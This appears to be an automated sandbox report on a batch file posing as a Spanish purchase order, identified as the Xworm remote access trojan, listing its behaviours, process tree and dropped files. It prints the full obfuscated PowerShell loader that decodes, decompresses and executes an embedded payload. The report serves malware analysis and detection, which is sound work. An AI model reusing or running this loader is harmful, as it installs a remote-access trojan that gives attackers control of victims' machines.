Analysis
- max time kernel
150s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
- submitted
21/10/2025, 07:45
General
- Target Orden de compra y especificacionesdoc.bat
- Size 166KB
- Sample251021-jlrhdahn2s
- SHA256 5620d362152320c8b3dff6f8f3cd009f4d68d3b994ce2b9a4fcc432d32ec919b
Malware Config
Signatures
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Orden de compra y especificacionesdoc.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\Orden de compra y especificacionesdoc.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Orden de compra y especificacionesdoc.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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AGIAdABqAGQAQgBFAEsASAAvADkANwBOeivgcjyjmlizAEEAMABSADAAcQBzADAASABoAHIAMQA3AHoeivgcjyjmlizAcgBsADMAegA3ADIANwBCAHUAWAB6AEkARQeivgcjyjmlizBFADIATQBvAEQARgBsAFoAdAB1AG8AMwBOAeivgcjyjmlizFoAYQB6AFcAcQB4AHQARAAxAHAANQBFAE8AeivgcjyjmlizYgA5AFUAcgA5AHoAYwBTAGgATAB3ADMATQBeivgcjyjmliz1AFEAOQA0AFMANQAyAGkATgBxAHEAZQBoAEeivgcjyjmlizYAegBGAGUAVQBNADAAVQBuAHMAbQBrAFoASeivgcjyjmlizQBCAEEAbAArAHgAMABSAFkAZgA1AEQAKwBEeivgcjyjmlizAEEASQB5AFgAZABuADkAYgBpAEkAVgBCAEweivgcjyjmlizAZwBMAGIAaQBTAG8AUwBuAEIAZABKAEsASAeivgcjyjmlizBpAFEAMABIAEMAVQBZAEoAcgBJAEIAOABxAeivgcjyjmlizGwAYgBvAEEAbwBzAEMAMABxAHUAdABNADMAeivgcjyjmlizTwBJAEQAZQBJAE4AZQBwACsARQBJAFIAQQBeivgcjyjmlizwAE0AVgBZADcAcQB6AHcAWABhAFoARABDAGeivgcjyjmlizcAYgBQAGkARwBSAG8ARQBxAFIATgByAG4AOeivgcjyjmlizQBlADcAQgBjADUAbAB6AFMARgBZAFMAZABjeivgcjyjmlizADUAaQBFAEUAbwBEAG0ANABJAEgAUgAwAFQeivgcjyjmlizAQwAvAHQAZQB1AEUAcABwAHYAbAByAGEAOQeivgcjyjmlizBHAGIAMQB0AHoAdwBmAHgANQBhADQANgBhAeivgcjyjmlizGMANQAzAHYAZwBjAEgAMQA0ADMAVwB6AFoAeivgcjyjmlizZQBhADkAOQBoAG8ASABmADAAYwAwAC8ATQAeivgcjyjmliz5AGMAZgBoAGoASwBrAG0ANwBZAFoAYwAyAHeivgcjyjmlizoAbgBwADYAKwA2ADQAVQAxADkANQBaADgALeivgcjyjmlizwBvAHMAagBQAGUATwBEADUATgB2ADIAMwBkeivgcjyjmlizAGkAbgAzAHMAMABHAHQAbwByAHUAUQBHADQeivgcjyjmlizAMgBkAEYARQBaAHYAMQBLAFAAZgBmADMAZQeivgcjyjmlizBMAG0ANQBOAEYAcQBBAGkAZwBUAEwAbwBjAeivgcjyjmlizCsAWQB1AEMAYwBJAGsAeAA0AFgAUQBaAE0AeivgcjyjmlizeQA0AGgALwA1ADMAQgAyAHYAZABiAGkATQBeivgcjyjmlizkAHMAcgBvAGEAWQBrAHYAZwBBADMAVgA2AEeivgcjyjmlizwAVQBTADgARABHAFYASQBaAGMAdgBXAHIAceivgcjyjmlizwBSAGYAaQBxAGsAdQBsAGkATgBWAFIAVABCeivgcjyjmlizAGEAUABKAHkAcgBtAEwAbAArAEoARgA5AEMeivgcjyjmlizAZABOAFAAVgA4ADQAagB1AEEAbwBWAHQAcAeivgcjyjmlizAxAGUANABSAFkARQBYAEMAVABhAEsAeQBDAeivgcjyjmlizEIAVwBWADUAagA1AGwAbgBtADQAUABOADMAeivgcjyjmlizTQBJAHQASwBBADUAWQA0AHIANABQAHIAUABeivgcjyjmlizBAGcARgBTAEsAbQBMAHgAQwBlAC8AYQBGAGeivgcjyjmlizcAawB6AEMAcwByAG8ALwA0AEcAWgBPADEALeivgcjyjmlizwBNAFcATwA2AEUAVQBYAE0AVwBrAHUAbQBneivgcjyjmlizAFcASABTADQAMgBaAGUANQA3AE8AZABEAGIeivgcjyjmlizAdQB5AFIASgB2AEIAagBQAFYANgBzAE0AZAeivgcjyjmlizByAFEAcABCAEUAQgA1AC8AYwBGAFkANgAzAeivgcjyjmlizGIAbQA3AGgAMQBwAGMAMQBvAHkAYwBxAFUAeivgcjyjmlizZQBQAFYAVgBIAGIAQQA4AHkARwBqADQAcABeivgcjyjmlizxAFUARQBEAGgAKwBvAGsAOQB5AHcAYwBuAEeivgcjyjmlizEANwBEAHUASgBnAHYANwBEAHcAdwB2AEQASeivgcjyjmlizAA4AE4ASgBLAE8AMQBjAEMARABlAFkARQBreivgcjyjmlizAG0AYgBVADYAYgBXAE4AdgBFAHAAaQAvAGseivgcjyjmlizAWQBUAEkATgBGAHYAcgArAGMAcQBiAHkASQeivgcjyjmlizA2AHMASQBZAGMAYQBuAHcAegBTAG4AdQBrAeivgcjyjmlizEsAbgArAHYAYQBOAHMAdwBLAGMAOQBxAG4AeivgcjyjmlizeABJAG4ANgB2AHMAZwBhAG8AYQBuAEEAbgBeivgcjyjmlizsAHIANgByAFUAMQBqAGUAcABuADMAcgBjAEeivgcjyjmlizEAVABLAG8AKwBYADQAUABaAHMAcgBNAHMAUeivgcjyjmlizgBiAHUAaABqADUAVgBaAHIALwBCAFkAaQBveivgcjyjmlizADQAQwA0AEMAbABsADAAeQAzACsASQBJAHkeivgcjyjmlizAcwBLAHAANgAzAEkARwA0AEkAMgBRAGEAegeivgcjyjmlizBtAFEAawBJAGsAUQBaAHkAdABVAHQAbABCAeivgcjyjmlizGwAQwB2AGUAVQBXADcAaQBvAGkAbABMAHkAeivgcjyjmlizagBhAG0AUwBXAEsAaABWAFUAcwBxAHcAVQBeivgcjyjmlizrAEsARgB5ADIAeQBXAGQAVAB1AHcAbABPAEeivgcjyjmlizgASgBrAGYAbgAxADMAYwAxAC8AUwB6ADkAReivgcjyjmlizwA1AHgAdABsAHEAcwBUAEIAbQBqAEEAVgAyeivgcjyjmlizAFAAdwBlAGwAUABtAGIAMABvAHQAcgBTAHYeivgcjyjmlizAYgA3AGIAeABwAHcAawBEAHIAZQB6AEcANAeivgcjyjmlizBIAE0AOQBMADEARgBaAHYAOABmADcAMABTAeivgcjyjmlizG0AMgBOADkANQBzAEMAegBOAG4AYwAzAEUAeivgcjyjmlizOABIACsAcABuAHoATgBxAE8AaQBNAG8AegAeivgcjyjmliz0ADIAeQBEAGgAVwBSAFYAQgBHAFoANQBhAGeivgcjyjmlizUASwBrAFYAbgA2ADgARgBHADcAVQBQADAATeivgcjyjmlizABkADYAMwBBAFIAawA0AEcAQQBBAEEAPQAneivgcjyjmlizADsAJABtAGEAbgBnAG8APQBbAEMAbwBuAHYeivgcjyjmlizAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcweivgcjyjmlizBlADYANABTAHQAcgBpAG4AZwAoACQAbwByAeivgcjyjmlizGEAbgBnAGUAKQA7ACQAcABpAG4AZQBhAHAAeivgcjyjmlizcABsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwBeivgcjyjmliz0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHeivgcjyjmlizIAZQBhAG0AKAAsACQAbQBhAG4AZwBvACkAOeivgcjyjmlizwBpAGUAeAAoAE4AZQB3AC0ATwBiAGoAZQBjeivgcjyjmlizAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUeivgcjyjmlizAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQeivgcjyjmlizBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAeivgcjyjmlizHMAaQBvAG4ALgBHAFoAaQBwAFMAdAByAGUAeivgcjyjmlizYQBtACgAJABwAGkAbgBlAGEAcABwAGwAZQAeivgcjyjmlizsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGeivgcjyjmlizkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbeivgcjyjmlizwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBteivgcjyjmlizAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQeivgcjyjmlizAVABvAEUAbgBkACgAKQAKAA=='.Replace('eivgcjyjmliz','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Roaming\XWormClient.exeC:\Users\Admin\AppData\Roaming\XWormClient.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xvs3behx.0vj.ps1
XWormClient.exe
aoc.bat
memory/4168-34-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-37-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-11-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-9-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-13-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-14-0x000002271CE30000-0x000002271CE38000-memory.dmp
memory/4168-15-0x00000227352E0000-0x00000227352F4000-memory.dmp
memory/4168-16-0x00000227352F0000-0x000002273531C000-memory.dmp
memory/4168-17-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-8-0x000002271CFB0000-0x000002271CFD2000-memory.dmp
memory/4168-60-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-30-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-31-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-32-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-58-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-1-0x000002271C9EA000-0x000002271C9EB000-memory.dmp
memory/4168-10-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-56-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-54-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-39-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-52-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-41-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-44-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-46-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-50-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4168-48-0x000002271C220000-0x000002271CCE2000-memory.dmp
memory/4308-47-0x0000014F78B40000-0x0000014F79602000-memory.dmp
memory/4308-40-0x0000014F78B40000-0x0000014F79602000-memory.dmp
memory/4308-53-0x0000014F78B40000-0x0000014F79602000-memory.dmp
memory/4308-29-0x0000014F79C70000-0x0000014F79CB6000-memory.dmp
memory/4308-36-0x0000014F78B40000-0x0000014F79602000-memory.dmp
memory/4308-57-0x0000014F78B40000-0x0000014F79602000-memory.dmp
memory/4308-33-0x0000014F78B40000-0x0000014F79602000-memory.dmp
memory/4308-38-0x0000014F78B40000-0x0000014F79602000-memory.dmp